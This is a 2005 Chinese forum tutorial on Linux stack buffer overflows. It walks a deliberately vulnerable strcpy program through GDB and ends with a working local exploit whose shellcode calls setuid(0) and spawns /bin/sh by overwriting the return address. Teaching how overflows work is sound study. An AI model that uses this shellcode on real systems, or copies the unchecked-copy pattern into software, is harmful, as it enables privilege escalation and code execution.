Board logo

标题: Linux下栈溢出的原理及利用 [打印本页]

作者: 鱼鱼的梦想    时间: 2005-1-2 17:11     标题: Linux下栈溢出的原理及利用

Linux下栈溢出的原理及利用 1、进程空间的内存分布 一个程序在运行时系统会给这个程序分配4GB的虚拟内存,而这4GB有2GB是共享的,内核可以访问, 还有2GB是进程独占的,而程序又分为程序段,数据段,堆栈段。动态数据都是通过堆栈段来存放。 其分布如下: 内存高端 +-------------------+ | 程序段 | +-------------------+ | 数据段 | +-------------------+ | 堆 栈 | +-------------------+ 内存低端 而堆栈段的分布又如下: 内存高端 +-------------------+ | 函数栈 | +-------------------+ | 函数栈 | +-------------------+ | ------- | +-------------------+ | 堆 | +-------------------+ 内存低端 2、程序对堆栈的使用 程序每调用一个函数,就会在堆栈里申请一定的空间,我们把这个空间称为函数栈,而随着函数调用层数的 增加, 函数栈一块块地从高端内存向低端内存地址方向延伸.反之,随着进程中函数调用层数的减少, 即各 函数调用的返回, 函数栈会一块块地被遗弃而向内存的高址方向回缩.各函数的栈大小随着函数的性质的不 同而不等, 由函数的局部变量的数目决定。 进程对内存的动态申请是发生在Heap(堆)里的. 也就是说, 随着系统动态分配给进程的内存数量的增加, Heap(堆)有可能向高址或低址延伸, 依赖于不同CPU的实现. 但一般来说是向内存的高地址方向增长的。 当发生函数调用时,先将函数的参数压入栈中,然后将函数的返回地址压入栈中,这里的返回地址通常是 Call的下一条指令的地址。 这里结合一个实例来说明这一过程: 写这么一个程序 //test.c #include int fun(char *str) { char buffer[10]; strcpy(buffer,str); printf("%s",buffer); return 0; } int main(int argc,char **argv) { int i=0; char *str; str=argv[1]; fun(str); return 0; } 编译 gcc -g -o test test.c 然后用GDB来进来调试 gdb test 反汇编main函数 0x080483db : push %ebp 0x080483dc : mov %esp,%ebp 0x080483de : sub $0x8,%esp 0x080483e1 : and $0xfffffff0,%esp 0x080483e4 : mov $0x0,%eax 0x080483e9 : sub %eax,%esp 0x080483eb : movl $0x0,0xfffffffc(%ebp) 0x080483f2 : mov 0xc(%ebp),%eax 0x080483f5 : add $0x4,%eax 0x080483f8 : mov (%eax),%eax 0x080483fa : mov %eax,0xfffffff8(%ebp) 0x080483fd : sub $0xc,%esp 0x08048400 : pushl 0xfffffff8(%ebp) 0x08048403 : call 0x80483a8 0x08048408 : add $0x10,%esp 0x0804840b : mov $0x0,%eax 0x08048410 : leave 0x08048411 : ret 注意这一行 0x08048403 : call 0x80483a8 这一行是调用fun函数,而下一行的指令地址为:0x08048408,也就是说当fun调用完以后要返回0x08048408 在原程序的第14行设置断点 b 14 run AAAA 这时,程序装运行到函数调用之前,看一下寄存器的地址 i reg eax 0xbffffaa7 -1073743193 ecx 0xbffff960 -1073743520 edx 0xbffff954 -1073743532 ebx 0x4014effc 1075113980 esp 0xbffff8c0 0xbffff8c0 ebp 0xbffff8c8 0xbffff8c8 esi 0x2 2 edi 0x401510fc 1075122428 eip 0x80483fd 0x80483fd eflags 0x200282 2097794 cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 这里我们需要关心的寄存器主要主esp(栈顶指针),ebp(栈底指针),eip(指令指针) 看一下esp里的数据 x/8x $esp 0xbffff8c0: 0xbffffaa7 0x00000000 0xbffff928 0x4004cad4 0xbffff8d0: 0x00000002 0xbffff954 0xbffff960 0x40037090 再看一下str的地址 print str $1 = 0xbffffaa7 "AAAA" 因为str就是命令行里的参数,很明显,这里调了main函数时后首先是参数地址被压入栈里。 然后单步执行程序后再看寄存器 si si si i reg eax 0xbffffaa7 -1073743193 ecx 0xbffff960 -1073743520 edx 0xbffff954 -1073743532 ebx 0x4014effc 1075113980 esp 0xbffff8ac 0xbffff8ac ebp 0xbffff8c8 0xbffff8c8 esi 0x2 2 edi 0x401510fc 1075122428 eip 0x80483a8 0x80483a8 eflags 0x200396 2098070 cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 我们发现esp的值变了,看看压进去了些什么东西 x/8x $esp 0xbffff8ac: 0x08048408 0xbffffaa7 0x4014effc 0x00000000 0xbffff8bc: 0x4014effc 0xbffffaa7 0x00000000 0xbffff928 这里我很可以很清楚的看到调用过程 首先把参数地址0xbffffaa7压入栈内,然后把返回地址0x08048408压入栈内 接着往下看 我们把fun函数也反汇编出来 disas fun 0x080483a8 : push %ebp 0x080483a9 : mov %esp,%ebp 0x080483ab : sub $0x18,%esp 0x080483ae : sub $0x8,%esp 0x080483b1 : pushl 0x8(%ebp) 0x080483b4 : lea 0xffffffe8(%ebp),%eax 0x080483b7 : push %eax 0x080483b8 : call 0x80482e8 <_init+72> 0x080483bd : add $0x10,%esp 0x080483c0 : sub $0x8,%esp 0x080483c3 : lea 0xffffffe8(%ebp),%eax 0x080483c6 : push %eax 0x080483c7 : push $0x80484e8 0x080483cc : call 0x80482d8 <_init+56> 0x080483d1 : add $0x10,%esp 0x080483d4 : mov $0x0,%eax 0x080483d9 : leave 0x080483da : ret 再继续往下执行 si si si x/16x $esp 0xbffff890: 0x08048414 0x080495d0 0xbffff8a8 0x080482b5 0xbffff8a0: 0x00000000 0x00000000 0xbffff8c8 0x08048408 0xbffff8b0: 0xbffffaa7 0x4014effc 0x00000000 0x4014effc 0xbffff8c0: 0xbffffaa7 0x00000000 0xbffff928 0x4004cad4 print &buffer $7 = (char (*)[10]) 0xbffff890 这里可以看出,程序以为buffer分配了空间,而且空间大小为24字节。 程序继续执行 next x/16x $esp 0xbffff890: 0x41414141 0x08049500 0xbffff8a8 0x080482b5 0xbffff8a0: 0x00000000 0x00000000 0xbffff8c8 0x08048408 0xbffff8b0: 0xbffffaa7 0x4014effc 0x00000000 0x4014effc 0xbffff8c0: 0xbffffaa7 0x00000000 0xbffff928 0x4004cad4 从这里我们可以看出从0xbffff890这个地址开始(也是buffer的地址)开始向高端内存填充,这里填充了 4个"A"A的ACSII码为41 3.其于栈的缓冲区溢出 我们还是接着这个程序来分析 我们定义buffer时是要求分配10字节的空间,而程序实际可分配了24个字节的空间,在strcpy执行时 向buffer里拷贝A时并未检查长度,如果我们向buffer里拷贝的A如果超过24个字节,就会产生溢出。 如果向buffer里拷贝的A的长度够长,把返回地址0x08048408覆盖了的话程序就会出错。一般会报段 错误或者非法指令,如果返回地址无法访问,则产生段误,如果不可执行则视为非法指令。 4.其于栈的缓冲区溢出利用。 既然我们可能覆盖返回地址,也就意味着我们可以控制程序的流程,如果这个返回地址正好是一个shellcode 的入口,那么就可以利用这个有溢出的程序来获得一个shell。 下面我们就写一个exploit来攻击这个程序 //test_exploit.c #include #include char shellCode[] = "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c" "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb" "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { char str[]="AAAAAAAAAA" "AAAAAAAAAA" "AAAAAAAAAA" "AAAAA"; *(int *)&str[28]=(int)shellCode; char *arg[]={"./test",str,NULL}; execve(arg[0],arg,NULL); return 0; } 这里我们把str的第28、29、30、31节字里存放shellCode的地址,因为从上面的分析我们得知返回地址在 距buffer偏移为28的地方。 编译这个程序 gcc -g -o test_exploit test_exploit.c 执行,哈哈,我们期待的shellCode出现了。




欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/) Powered by Discuz! 7.2